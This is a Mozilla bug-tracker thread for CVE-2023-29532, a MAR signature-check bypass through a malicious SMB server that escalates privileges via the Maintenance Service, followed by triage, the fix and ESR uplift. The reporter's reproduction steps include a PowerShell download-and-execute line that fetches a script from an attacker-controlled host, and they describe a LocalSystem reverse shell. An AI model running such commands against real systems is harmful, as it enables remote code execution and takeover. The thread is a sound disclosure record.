1806394 - (CVE-2023-29532) Mar File Lock Bypass Leads to Privilege Escalation via Mozilla Maintenance Service

Status: RESOLVED FIXED

(Toolkit :: Application Update, defect, P1)

Description

[Holger Fuhrmannek]

Attachment: poc.zip

When updating with the Mozilla Maintenance Service, the update data is loaded via a user-controlled path that points to a mar archive. A signature check is performed, because only mar files from a trusted source should be used. The signature check only works as intended if the content of the mar file does not change, because the mar file is read twice, once for the signature check and once for the actual update. The mar file is only opened once and is write-locked so the mar file content should be static during the process, but this doesn't hold true if the file is read from a malicious SMB server. After the first read of the mar file for the signature verification, a malicious SMB server can provide a completely different mar file for the actual update so that the signature verification can be bypassed. This works at least on Windows 10 Pro, for which I was able to exploit the issue.

Proof of Concept Exploit

The poc exploits the issue to invoke a reverse shell by the normal Windows user, running in the context of the LocalSystem account.

First the issue is exploited to downgrade firefox 108.0.1 to a manipulated version of firefox 47.0. This version has the content of the uninstaller\helper.exe replaced with the content of the updater.exe and an addtional uninstaller\MSASN1.dll which contains a reverse shell payload. After the downgrade the MozillaMaintenance is used again. During the second update the helper.exe is called which loads the MSASN1.dll and executes the payload.

I tested the exploit on a fresh install of Windows 10 Pro with Microsoft Defender enabled. Antivirus solutions can interfere with the poc. The poc doesn't work if Microsoft Defender is disabled. The poc expects the mar file to be read twice (probably antivirus check + signature check) before a manipulated mar file will be delivered.

For the malicous SMB server the impacket python module is used.

Steps to Reproduce:

On computer A which needs docker:

1.) download and extract poc files

2.) build docker container: sudo docker build -t ffpoc .

3.) start docker container: sudo docker run --rm -it --name ffpoc -p 444:444 -p 445:445 -p 8080:8080 ffpoc <ip>
<ip> has to be the reachable from the victim. Wait until the poc setup is completed.

On the victim computer B which has installed Firefox 108.0.1 to "C:\Program Files\Mozilla Firefox" and the MozillaMaintenance Service to "C:\Program Files (x86)\Mozilla Maintenance Service" and has SMB enabled:

1.) Open the powershell console as the standard windows user and execute: IEX (New-Object Net.WebClient).DownloadString('http://<ip>/client.ps1'). After a few minutes a reverse shell from computer B to computer A will be started. Type whoami to check for priviledge escalation to the LocalSystem account.

Comment 1

[Daniel Veditz [:dveditz]]

Nick: can you find the right owner for this bug.

We rate these sec-high because of the potential privilege escalation on a locked-down "enterprise" type installation. This is not much of a worry for the average Firefox user. Malware might also try using this, but most users will click "OK" when an installer-type thing asks them to elevate privileges so it's less necessary as an attack vector in that case.

Comment 2

[:Gijs (he/him)]

I tested the exploit on a fresh install of Windows 10 Pro with Microsoft Defender enabled. Antivirus solutions can interfere with the poc. The poc doesn't work if Microsoft Defender is disabled.

Just to confirm, are these statements the right way around (ie the exploit/PoC only works if Defender is enabled) ? It's somewhat incongruous with the "antivirus solutions can interfere with the PoC" statement.

Comment 3

[Holger Fuhrmannek]

My point was that the number of additional file accesses can be different for different antivirus solutions - the poc expects one additional access, as I found when using Microsoft Defender. If other antivirus solutions trigger more additional accesses for some reason, the poc will not work.

Comment 4

[[e-mail] (:bhearsum)]

Thank you for such a detailed report -- I was able to reproduce the issue first try.

I think the person best positioned to evaluate a fix is Kirk - moving the needinfo to him.

Comment 5

[Robin Steuber (she/her) [:bytesized]]

I am now back from vacation. I have a few things that I need to catch up on first, but once those are taken care of this will be my top priority.

Comment 6

[Robin Steuber (she/her) [:bytesized]]

I haven't actually tried out the PoC, but the attack makes perfect sense to me and I don't really have any doubt that it can work.

I have considered several possible solutions to this. I'm not excited about any of them, but I think that the best option is to load the file into RAM and rely on that not being changed rather than to rely on the version on disk not being changed.

This does make me a bit nervous, particularly because this would be done during the staging process, which means that this will typically happen while Firefox is also running (and also using a whole bunch of RAM). But (a) I think that the amount of RAM that we will need is acceptable, and (b) the system will likely end up paging things to the disk anyways. Nevertheless, I want to make sure that if we fail to allocate the necessary amount of memory, we communicate that error to Firefox in such a way that we fall back to updating without staging, thus allowing us to allocate that memory when Firefox isn't running.

Comment 7

[Nick Alexander :nalexander [he/him]]

(In reply to Robin Steuber (they/them) [:bytesized] from comment #6)

I haven't actually tried out the PoC, but the attack makes perfect sense to me and I don't really have any doubt that it can work.

I have considered several possible solutions to this. I'm not excited about any of them, but I think that the best option is to load the file into RAM and rely on that not being changed rather than to rely on the version on disk not being changed.

This does make me a bit nervous, particularly because this would be done during the staging process, which means that this will typically happen while Firefox is also running (and also using a whole bunch of RAM). But (a) I think that the amount of RAM that we will need is acceptable, and (b) the system will likely end up paging things to the disk anyways. Nevertheless, I want to make sure that if we fail to allocate the necessary amount of memory, we communicate that error to Firefox in such a way that we fall back to updating without staging, thus allowing us to allocate that memory when Firefox isn't running.

I agree on a) -- our MAR sizes are ~50Mb on Windows and <120Mb on macOS, IIRC.

Consider doing this in two steps: one for slurping into memory and addressing this issue, and a follow-up to do the staging fallbacks, which I expect to be more difficult to get correct and (more importantly!) test.

Comment 8

[Nick Alexander :nalexander [he/him]]

Holger: can you bypass Windows Authenticode or macOS code signing with this attack? I guess I'm interested in what expectations various high-value systems have for the integrity of a disk. You could imagine firmware that lies about disk content depending on various of conditions, yielding different classes of attack.

Comment 9

[Robin Steuber (she/her) [:bytesized]]

(In reply to Nick Alexander :nalexander [he/him] from comment #7)

Consider doing this in two steps: one for slurping into memory and addressing this issue, and a follow-up to do the staging fallbacks

I believe that the staging fallbacks can be done entirely out in the open (i.e. not in a security bug). Memory allocation failure codes already exist, and it already makes sense to fallback from staging to updating without staging if we cannot allocate enough memory to stage. File Bug 1813129 to do this.

Comment 10

[Robin Steuber (she/her) [:bytesized]]

Attachment: Bug 1806394 r=nalexander!

Comment 11

[Robin Steuber (she/her) [:bytesized]]

Comment on attachment 9314925 [details]
Bug 1806394 r=nalexander!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: An attacker that is aware of this type of exploit could look at this patch and could probably construct an exploit pretty easily. But I'm not sure how common of knowledge this type of exploit is. I didn't realize that you could do it, though it makes sense in retrospect.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: Probably all previous versions of Firefox are affected
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: This patch changes code that doesn't get touched often, so uplifting this would probably be trivial.
• How likely is this patch to cause regressions; how much testing does it need?: This patch is covered by automated testing. And I understand that we currently manually QA that updates can be applied successfully for all releases. I don't think additional testing beyond that is necessary.
• Is Android affected?: No

Comment 12

[Robin Steuber (she/her) [:bytesized]]

Note that if we do uplift this, we should really uplift Bug 1813129 as well. Which I also don't anticipate being very risky.

Comment 13

[Robin Steuber (she/her) [:bytesized]]

Attachment: Bug 1806394 ESR102 rollup.patch

Rebase/rollup of the patch for this bug and also Bug 1813129, suitable for being applied to ESR102.

ESR Approval Request Comment
[Feature/Bug causing the regression]:
N/A - Longstanding bug

[User impact if declined]:
Privilege escalation risk

[Is this code covered by automated tests?]:
MAR reading is covered by existing libmar tests. Functionality to fall back from staging on memory allocation failure has a test included in the patch.

[Has the fix been verified in Nightly?]:
Not yet - Still awaiting sec-approval. I've done a bit of manual verification on a local build.

[Needs manual test from QE? If yes, steps to reproduce]:
QA already does regular tests that updates can be applied properly, which should be the only substantial risk here.

[List of other uplifts needed for the feature/fix]:
All rolled up in this patch

[Is the change risky?]:
Medium risk

[Why is the change risky/not risky?]:
Changing the updater is inherently a bit risky since it can be hard to fix issues if the updater is broken. But while this changes the read mechanism, it doesn't change the way that the update file is actually parsed. And it is well covered by testing.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Comment 14

[Robin Steuber (she/her) [:bytesized]]

Note: I think that we should aim to land the ESR rollup as late in the next cycle as possible to maximize bake time on Nightly/Beta

Comment 15

[Tom Ritter [:tjr]]

Comment on attachment 9314925 [details]
Bug 1806394 r=nalexander!

Approved to land when uplift is confirmed

Comment 16

[Tom Ritter [:tjr]]

Comment on attachment 9316657 [details] [diff] [review]
Bug 1806394 ESR102 rollup.patch

Approved to land when uplift is confirmed

Comment 17

[Robin Steuber (she/her) [:bytesized]]

Talked to :tjr on Slack because I was a little confused about what was meant by this.

(In reply to Tom Ritter [:tjr] from comment #15)

Approved to land when uplift is confirmed

Was told that I should remove the approval-mozilla-esr102? on the rollup patch, land on Nightly, and figure out later with relman later how we want to track this so that the original patch can ride the trains and the rollup gets uplifted to ESR102 when the original patch hits release.

Comment 18

[Ryan VanderMeulen [:RyanVM]]

Are we targeting 112/102.10esr now?

Comment 19

[Tom Ritter [:tjr]]

Yes.

Comment 20

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9316657 [details] [diff] [review]
Bug 1806394 ESR102 rollup.patch

Yeah, then let's re-nominate this for ESR approval once we're in that cycle. When Robin and I first discussed this, we were targeting the 102.9esr release and it made more sense to just do the nomination right away.

Comment 21

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed build bustages in mar_read.c, at least on macOS: https://hg.mozilla.org/integration/autoland/rev/14fbd3cca8aaa0987fb2f6da635228f2ee59b6ce

Backed out https://hg.mozilla.org/integration/autoland/rev/1338c768e5740fb18d6bb90137797d0c0211bff0

Push with failures: https://treeherder.mozilla.org/jobs?repo=autoland&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel&revision=14fbd3cca8aaa0987fb2f6da635228f2ee59b6ce&selectedTaskRun=A3RTfpYxQOuaTGLpYTSQGQ.0
Failure log: https://treeherder.mozilla.org/logviewer?job_id=405628313&repo=autoland

/builds/worker/checkouts/gecko/modules/libmar/src/mar_read.c:238:64: error: format specifies type 'long' but the argument has type 'off_t' (aka 'long long') [-Werror,-Wformat]
/builds/worker/checkouts/gecko/modules/libmar/src/mar_read.c:251:66: error: format specifies type 'long' but the argument has type 'off_t' (aka 'long long') [-Werror,-Wformat]

Comment 22

[Robin Steuber (she/her) [:bytesized]]

Gah, so annoying. Apparently off_t has a different size on macOS and Windows so they use different printf format specifiers. Using #ifdef just to change a format specifier seems ridiculous, so I'll just explicitly cast the value to the larger of the sizes so we can use a consistent format specifier.

Comment 23

[Robin Steuber (she/her) [:bytesized]]

Attachment: Bug 1806394 ESR102 rollup.patch

Comment 24

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/mozilla-central/rev/95743a6fc0e8

Comment 25

[Ryan VanderMeulen [:RyanVM]]

We're about halfway through the Beta cycle now and I'm not aware of any fallout from this change. Are we feeling good about the ESR request?

Comment 26

[Robin Steuber (she/her) [:bytesized]]

Yes, I'm satisfied that it should be safe to land.

Comment 27

[Robin Steuber (she/her) [:bytesized]]

Comment on attachment 9318233 [details] [diff] [review]
Bug 1806394 ESR102 rollup.patch

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: N/A - Longstanding bug
• User impact if declined: Privilege escalation risk
• Fix Landed on Version: 112
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): Changing the updater is inherently a bit risky since it can be hard to fix issues if the updater is broken. But while this changes the read mechanism, it doesn't change the way that the update file is actually parsed. And it is well covered by testing and hasn't shown any issues on Nightly or Beta.

Comment 28

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9318233 [details] [diff] [review]
Bug 1806394 ESR102 rollup.patch

Approved for 102.10esr.

Comment 29

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr102/rev/532ab04738eb
https://hg.mozilla.org/releases/mozilla-esr102/rev/d8a4e4edf342

Comment 30

[Tom Ritter [:tjr]]

Attachment: advisory.txt